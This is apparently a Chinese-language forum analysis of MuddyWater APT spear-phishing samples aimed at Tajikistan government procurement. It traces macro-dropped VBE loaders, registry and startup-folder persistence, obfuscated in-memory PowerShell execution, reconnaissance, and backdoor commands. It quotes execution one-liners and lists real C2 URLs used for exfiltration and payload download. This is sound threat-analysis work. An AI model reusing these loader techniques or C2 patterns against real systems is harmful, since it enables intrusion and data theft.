MuddyWater
(又称为污水,T-APT-14)是疑似来自伊朗的APT组织,主要攻击目标为中东地区政府机构,但在近期的公开报告中显示,18年后,中东以外的地区也陆续出现了Muddywater的活动迹象,比如土耳其,巴基斯坦等地。
该组织最早于2017年9月
被MalwareBytes
公开披露,同年11月paloalto
披露针对中东的攻击,并将该组织命名为MuddyWater
,之后活动踪迹开始被国内外安全机构公开披露。
MuddyWater
使用诱惑性的鱼叉文档作为攻击入口,引导用户启用宏,利用宏释放后续后续Payload进行攻击,在早期报道中,MuddyWater主要使用powershell后门。其利用VBS,VBA, PowerShell,Python,c#等脚本后门以及RAT木马。
BlackWater
活动的主要发起者,自从BlackWater
活动之后MuddyWater
APT组织开始不断优化和调整自身的攻击手法,例如开始不再广泛采用模糊化背景作为诱饵文档,而是做一个假的提示信息图片来遮挡文档正文内容.在恶意宏里面不再通过启动项直接启动powershell
载荷,而是使用一个硬编码处理后的VBE
文件,将VBE文件
写入自启动项,或者将其放入启动文件夹中,在VBE
文件中重新释放PowerShell
载荷以进行侦查和后门的活动。
诱饵文档截图如下:
文档中的语言为塔吉克语,通过内容以及诱饵文档的名称可以大致推断出其目标针对的是塔吉克斯坦政府的采购部门
其文档的图标正是塔吉克斯塔政府的图标,故此MuddyWater
这次攻击的目标基本上确定
Document_Open
函数:frmLoader.show 加载并显示宏项目里内置的窗口
笔者猜想应该是在窗口里要么通过点击按钮进行载荷植入要么通过关闭窗口进行载荷植入
所以我们顺藤摸瓜定位到窗口处理的函数:
函数buttonQWERTY_Click()
调用函数RgSh(id)
并传入参数7
frmVisualizer.Show 加载frmVisualizer窗口并弹出
Unload Me 卸载本窗口
首先会调用PuSH(id)
函数并且传入参数id 依照前面的调用 传入的参数为7
然后让变量b为PuSH(id)
函数的返回值
我们会在下文对这个PuSH(id)
函数进行分析 这里如果传入参数7的话 变量b为:%Temp%\aulmgr.vbe
通过CallByName
函数调用SetStingValue
修改注册表键值
设置的注册表项为:"Software\Microsoft\Windows\CurrentVersion\Run"
设置的键名称为: "VingValue"
VingValue
键的键值为变量b 也就是%Temp%\aulmgr.vbe
这里面引入了两个新的函数,一个为d3r(id)
,另一个为fun(id)
我们会在下文对这个d3r(id)
和fun(id)
两个函数进行分析
d3r(4) & fun(1) 返回的路径是%Temp%\aulmgr.vbe
如传入Push(id)
函数的id与5取余等于1则进行下面的写vbe
文件操作——%Temp%\aulmgr.vbe
利用CreateTexFiile
创造%temp%\aulmgr.vbe
文件
读取frmloadr
窗口中label控件
(1到13)的caption(标题)
字符串
并按照从1到13的顺序拼接,存入ddd
变量中
将ddd
变量内容写入vbe文件
中——%Temp%\aulmgr.vbe
这个fisa()
函数后面会说到 但是归根结底其实就是返回scripting.filesystemobject
这个字符串
用传入参数的id数字与5进行取余,其实就是id的数字,因为case的方案里面,最高的数字为5
用传入参数的id数字与5进行取余,其实就是id的数字,因为case的方案里面,因为最高的数字为5
那我们回到PuSH(id)
函数中
通过读取frmlodr
窗口中得label
控件(14,15)以拼接好字符串scripting.filesystemobject
并且将这段字符串返回
至此宏代码中的主要函数功能已经分析完毕
其最主要的功能为:释放VBE Loader于%temp%\aulmgr.vbe下,将该文件通过修改注册表写入开机启动
样本截图如下(挺乱码的):
用scrdec或者Decode VBE工具进行解密
摘取主要的VBS代码进行分析:
如图:VBE文件内置的b字符串(pwershell第一阶段的代码
)
其主要内容为提取VBE文件中自带的Powershell第一阶段的代码,然后通过OpenTextFile
函数创建Powershell第一阶段载荷于%public%\\UserImage.png
,并且将B
变量写入
然后执行命令powershell /w 1 iex(gc $env:public'\userimage.png')
PowerShell命令如下,窗口隐藏通过gc(Get-Content)命令%public%\\UserImage.png
的数据,然后利用iex(Invoke-Expression)命令,内存执行UserImage.png
中的数据
注意:笔者并没有去掉变量名和函数名混淆,所以其会有一些难懂,请结合图文进行理解
将Recon PowerShell的代码经过Base64
编码后存入变量vv
利用[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String
解密变量vv
并且将结果存入变量er
中
利用gcm i*v*p*s*n
拼凑Invoke-Expression
,将变量er
传入,内存执行Recon PowerShell
第二阶段
如图所示:利用gcm(Get-Command)模糊拼凑Invoke-Expression
命令
功能1:收集系统信息
获取当前用户名称 如下图 函数名:lTXxzy53
通过获取环境变量%username%
来获取当前用户名称,如果失败返回error username
字符串
获取用户所在域的名称 如下图 函数名:EdA4VNZrBAU37Pd7ND
通过%userdomain%
环境变量获取用户所在域的名称,如果失败反而error userdomain
字符串
遍历进程 如下图 函数名:zokOsMYYZQG1GyNMGDZ
利用ps命令(Process Status)
枚举当前用户的进程信息,如果失败则返回error tasklist
字符串
遍历桌面文件的文件名,文件大小以及最后编辑时间 如下图 函数名:UTFhxPjChlXs1OxREdR
通过ls命令
遍历出桌面的文件,桌面的路径:%userprofile%\desktop
,如果失败返回error ls
字符串
获取外网IP地址 如下图 函数名:sp169N5
向http://ip–api.com/json
下载回显字符串以获得外网ip的目的,如果失败返回error remote IP
字符串
效果如下:
返回结果:
收集系统名称 如下图 函数名:dYUUIGUfLNIoN
调用wmic.exe利用(win32_operatingsystem).name
以获取系统名称,如果失败返回error os arch
字符串
如下图,函数名:L82O_u0EwZy
按以下顺序分别调用函数:lTXxzy53
(获取当前用户名称),EdA4VNZrBAU37Pd7ND
(获取用户所在域的名称),zokOsMYYZQG1GyNMGDZ
(遍历进程),UTFhxPjChlXs1OxREdR
(遍历桌面文件的文件名,文件大小以及最后编辑时间),sp169N5
(获取外网IP地址),dYUUIGUfLNIoN
(获取系统名称)
然后将其函数L82O_u0EwZy
调用后,使用out-file
命令将结果输出到%temp%\\log.txt
中
混淆为了进一步躲避杀软侦查,又声明了一个新的变量叫:m2g9a1mNOtasOaLofMKD
,其的内容是:%temp%\log.txt
也就是录入收集到系统信息的文件.
功能2:将收集到的信息发送请求给C2
再通过GC(Get-Connect)命令
读取%temp%\\log.txt
的内容
然后将其通过GetByte
命令获取其字符数组,然后将其进行base64的编码后,再将编码后的字符串获取utf–8
的字符数组,然后通过POST
的方式UploadData
(上传数据),将刚刚编码后字符发送到这个指定的地址:
http://185.185.25.175/up1.php?UU={GUID}
.
效果如下:
发送报文内容(Base64):
解密字符串:
当前用户用户名以及进程列表信息:
桌面上文件(文件名,最后修改时间,文件长度):
外网IP地址,系统名称:
功能3:循环请求PowerShell Backdoor后门,然后将其下载到本地执行
通过while(1)一直死循环,向c2地址发出请求:
http://185.185.25.175/sDownloads/{GUID}.jpeg
如果其存在则调用DownloadFile
下载{GUID}.JPEG
文件并另存为%public%\\ieee.dat
如图所示:一直对PowerShell Backdoor进行请求
攻击者会对其所感兴趣的受感染机器进行筛选,以植入PowerShell Backdoor
然后调用iex
命令去执行gc
命令所读取%public%\\ieee.dat
中的内容
利用[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($u));
解密变量u
并且将结果存入变量y
中
利用gcm i*v*p*s*n
拼凑Invoke-Expression
,将变量y
传入,内存执行Recon PowerShell
第二阶段
利用gcm(Get-Command)模糊拼凑Invoke-Expression
命令
如图所示:
功能1:信息收集
获取本机的GUID以及标记感染,函数名:CwC1Fafld_XtJSe6wx
首先检查HKCU:\SOFTWARE\Microsoft\key
是否存在,如果存在则利用
Get-ItemProperty获取SecretKey
键名的键值
若不存在则调用New-Item创建新项Key
,并且利用$Guid = [guid]::NewGuid().Guid;
生成GUID,然后调用Set-ItemProperty创造HKCU:\SOFTWARE\Microsoft\key
的SecretKey
键,并写入键值{GUID}
以标记感染.
获取当前用户名称 ,函数名:wltJBgnP
通过环境变量%username
失败则返回Username Error
获取系统名称,函数名:VDf4TkTOMy3p_Br8UL5nH
调用wmic.exe利用(win32_operatingsystem).name
以获取系统名称,如果失败返回os Name Error
字符串
并且将返回结果的所有:
替换为;
获取系统位数,函数名:Aj9VVbP5C
调用wmic.exe利用Win32_OperatingSystem).OSArchitecture
以获取系统位数,如果失败返回Architecture Error
字符串
获取外网IP地址,函数名:S4xKxH_WG0KMOE
调用D_1smifUAajwThfuQgh
函数从https://api.ipify.org/
地址上下载回显数据
如果失败则返回IP Error
字符串
获取当前用户所在用户组,函数名:QTix4hifIA2oQE8g
调用Security.Principal.Identity::GetCurrent()
获取当前用户标识
IsInRole
判断用户处于什么用户组
将获取到的本账户用户组和最后管理员的用户组做对比
如果一样 则返回Admin
字符串
如果不一样 则返回User
字符串
如果没有识别则返回error role
字符串
代码如下:
利用yKGVMK8K
函数,将所收集到的信息进行拼接
如图:按以下顺序去执行函数CwC1Fafld_XtJSe6wx
(获取本机的GUID以及标记感染),wltJBgnP
(获取当前用户名称),VDf4TkTOMy3p_Br8UL5nH
(获取系统名称),Aj9VVbP5C
(获取系统位数),S4xKxH_WG0KMOE
(获取外网IP地址),QTix4hifIA2oQE8g
(获取当前用户所在用户组)
将返回结果按照以下的格式进行拼接:
{GUID}:{UserName}:{OS Name} {OS Arch}:{Remote IP Address}:{UserRole}
功能2:向C2发送报文,并接受回显
函数名:n_n9tyYOaI9m6lB
, 第一个参数是请求的URL地址
第二个参数是发送的内容
Net.WebRequest::Create(第一个参数:请求的URL地址
)
为传入的第一个参数——URL地址,初始化新的webrequest实例
调用GetSystemWebProxy
使webrequest的代理方案为:模拟当前用户的 Internet Explorer 设置中配置的代理
利用UTF8.GetByte(第二个参数:发送的内容
)
将请求的内容转换为utf8
编码的字节数组
设置Net.WebRequest
的请求方式为POST
设置Net.WebRequest
的会话长度为第二个参数转为utf–8编码的字节数组的长度
如果请求内容的长度大于0
调用Net.WebRequest.GetStreamRequest().Write()
去向指定URL发送http请求,以及发送第二个参数中的数据
之后利用Net.WebRequest.GetResponse()
来获取回显
如果回显非空
利用Net.WebRequest.GetResponseStream()
获取回显流数据
将返回参数读入io流中,全部读取。然后返回读取的数据
功能3:下载回显数据
函数名:d_1SmifuaaJWTHfuQgh
,参数为URL地址
$jTnFF3U0z = New-Object System.Net.WebClient
初始化System.Net.WebClient
$JtnFF3U0z.proxy = [Net.WebRequest]::GetSystemWebProxy()
模拟当前用户的 Internet Explorer 设置中配置的代理
$tUSoC9K2dpegti=$jtnFf3U0z.downloadString($XSohPvLsxiYBHLa8bYyj)
利用DownLoadString下载回显
功能4:发送收集到的用户数据并接收后门指令
调用ykGVMk8k
函数(收集目标信息)存入变量xGWoj_n
调用CwC1FaFld_xTJSe6Wx
函数(获取GUID)存入变量$Guid
向http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=reg&UU="{GUID}
发送POST请求,并且发送变量xGWoj_n
(目标的信息)的内容,
通过while (1)
循环用GET
方式请求http://83.171.238.62/command/{GUID}.cmd
地址,下载{GUID}.cmd
的内容
如果{GUID}.cmd
中的内容不为Error
就调用mUHr7u0HAhhRaXq
函数去解析返回数据中的攻击者后门的命令
功能5:后门指令解析
该PowerShell BackDoor一共有三个主要的后门功能,分别是屏幕截图,Cmd命令执行,任意PowerShell 代码执行
屏幕截图
函数名:Get-ScreenShot
首先调用VirtualScreen
获取虚拟屏幕
New-Object Drawing.BitMap
用以初始化一个新的绘制bitmap的对象
CopyFromScreen
将屏幕图像拷贝到新创建的绘制图像的对象中
将图像保存为png
图片格式并且将图片数据存入内存流
中
将png图片的内存流数据转数组后进行base64
编码后返回加密后的值
cmd命令执行
调用cmd /c {cmdline}
以执行C2回传的Cmd命令,并利用out-string
获取命令执行返回结果
任意PowerShell代码执行
调用iex
函数以执行C2回传的PowerShell代码,并利用out-string
获取执行结果
函数名:MUHr7u0hahhrAxQ
解析远控指令并执行,传入的参数是从C2上下载的远控指令
调用startwith
函数摘取screenshot并且执行屏幕截图操作,并且将返回的base64
编码后的PNG数据,以Post
的方式发送到如下地址http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=sc&i={GUID}.png
调用startwith
函数摘取"cmd"字符串以后数据,并且利用replace
函数将"cmd"字符串进行替换为空字符串,得到cmd命令
将获取到的cmd命令用cmd /c执行,并且将返回的结果数据,经过base64
编码,将编码后的数据以Post
的方式发送到如下地址http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}
如果stratwith
函数既没有匹配到"cmd"以及“screenshot”字符串,则将其用iex
命令执行,如果执行成功,就将执行后的返回结果,通过base64
编码后,将编码数据以Post
方式发送到http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}地址
如果执行不成功就,发送异常数据到C2
样本流程图:
通过相同的诱饵文档内容笔者关联到了一个同样针对塔吉克斯坦政府采购部门的样本
但是其C2以及自启动技术发生了变化
根据C2:185.185.25.175笔者关联到了一个docx文件样本
其运用了远程模板注入技术,并且注入的模板中利用了cve-2017-0199
漏洞,但是由于C2已结挂了,所以无法继续分析
诱饵文档截图:
远程模板注入技术:
与之前的样本诱饵内容完全一样
诱饵文档内容如下:
并没有之前复杂的混淆,内容很简单,主要还是通过窗体去提取VBE Loader
,唯一的区别是该样本实现自启动的技术是通过在自启动文件夹中释放antibiotic.vbe
如图所示:
与上个样本一样的技术,这里不再赘述
基本相同的信息收集手段
将收集好的信息以POST
方式发送到http://185.244.149.218/game.php?NewsIID={GUID}
循环向http://185.244.149.218/JpeGDownload/{GUID}.png
发送GET
请求
下载后另存为%public%\\Dri.dat
文档截图如下:
并没有之前复杂的混淆,内容很简单,主要还是通过窗体去提取VBE Loader
,唯一的区别是该样本实现自启动的技术是通过在自启动文件夹中释放antibiotic.vbe
如图所示:
与上个样本一样的技术,这里不再赘述
基本相同的信息收集手段
将收集好的信息以POST
方式发送到http://185.244.149.218/game.php?NewsIID={GUID}
循环向http://185.244.149.218/JpeGDownload/{GUID}.png
发送GET
请求
下载后另存为%public%\\Dri.dat
,并且执行
诱饵样本截图:
和上文一样通过读取窗口控件的标题中提取VBE loader,将其拼凑后,将拼凑好的字符串写入pKio.vbE
,pKio.vbE
文件位于系统自启动文件夹中,达到自启动的目的
与上个样本一样的技术,这里不再赘述,释放Recon Powershell到%TEMP%\HTM.log文件
并且调用iex
执行gc
读取的代码内容
去除PowerShell代码的混淆后
和之前说到的Recon PowerShell
的功能大致相同
利用whoami
去获取当前用户名称以及用户所在域名称,通过ipconfig /all
获取当前用户IP地址,利用tasklist
去获取进程列表,利用dir %userprofile%\\Desktop
获取桌面上的文件信息,利用systeminfo | findstr /B /C:OS Name /C:OS Version /C:arch /C:System Model
去获取系统名称,系统版本,系统位数,系统样式
将信息侦查的结果存入%public%\\jYtHGrrfWE.log
将其内容进行base64
编码,之后利用gc
命令读取jYtHGrrfWE.log
中编码的内容
以POST的方式向C2地址发送请求http://185.82.202.240/ttryeJte76.php?Tok=jKlMNtr65Vbf&newsUID={RandonName}
以POST
的方式将编码后的数据发送到该C2地址
循环向该C2地址请求http://185.82.202.240/DwnDir/
下载其文件存入
%temp%\\tRLHteSw.log
文件中,并且利用iex
执行gc
读取的%temp%\\tRLHteSw.log
的内容
诱饵样本截图:
通过从控件中提取VBE loader代码将其写入自启动文件夹下的S0NN3.VbE
文件中,
以达到开机启动的目的
相同的手段,释放Recon PowerShell于%temp%\\plr.dat
通过iex
执行gc
所读取%temp%\\plr.dat
文件的内容
去除PowerShell代码的混淆后
和之前说到的Recon PowerShell
的功能大致相同
获取当前用户的所在域名称以及当前用户名,进程列表,桌面文件信息
将收集到的信息以POST
的方式发送到http://185.141.27.14/trjjmfnnv.php?T=Tew39mvn21hhsy&Tw={RandomName}
循环向该C2地址请求http://185.141.27.14/Newsii/{RedomName}
下载其文件存入
%public%\\nvtge44.log
文件中,并且利用iex
执行gc
读取的%public%\\nvtge44.log
的内容
MuddyWater组织的样本并不是非常复杂,但是在分析过程中也可以抓到部分该组织攻击过程的影子
笔者可以在网上搜索到有关被利用者的信息
这里笔者用一张图的形式说明.
可见攻击者充分利用了被利用者所泄露的信息,使得诱饵文档看起来更加逼真,加大攻击的成功几率.
该样本Muddywater采用了获取加利福尼亚大学在搜索引擎上使用的合法文档,并且对其进行重新的编辑,如下图所示:将加利福尼亚大学大学的标志替换为塔吉克斯坦电信供应商的微标,将标题也做了替换,其他的部分完全相同
攻击者在构造载荷的时候通常对宏以及powershell代码进行了加密
对宏的加密主要体现在Chr()
以及StrReverse()
函数
并且将部分关键变量藏匿于窗口控件之中
而针对PowerShell的混淆,第一步就是一层base64
,从第二层开始都有一个解密函数
用于解密C2地址,以及释放文件的位置。并且每个脚本的解密算法都不是相同的,这里只单单给出一个例子:
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-7-12 12:09
被CrazymanArmy编辑
,原因: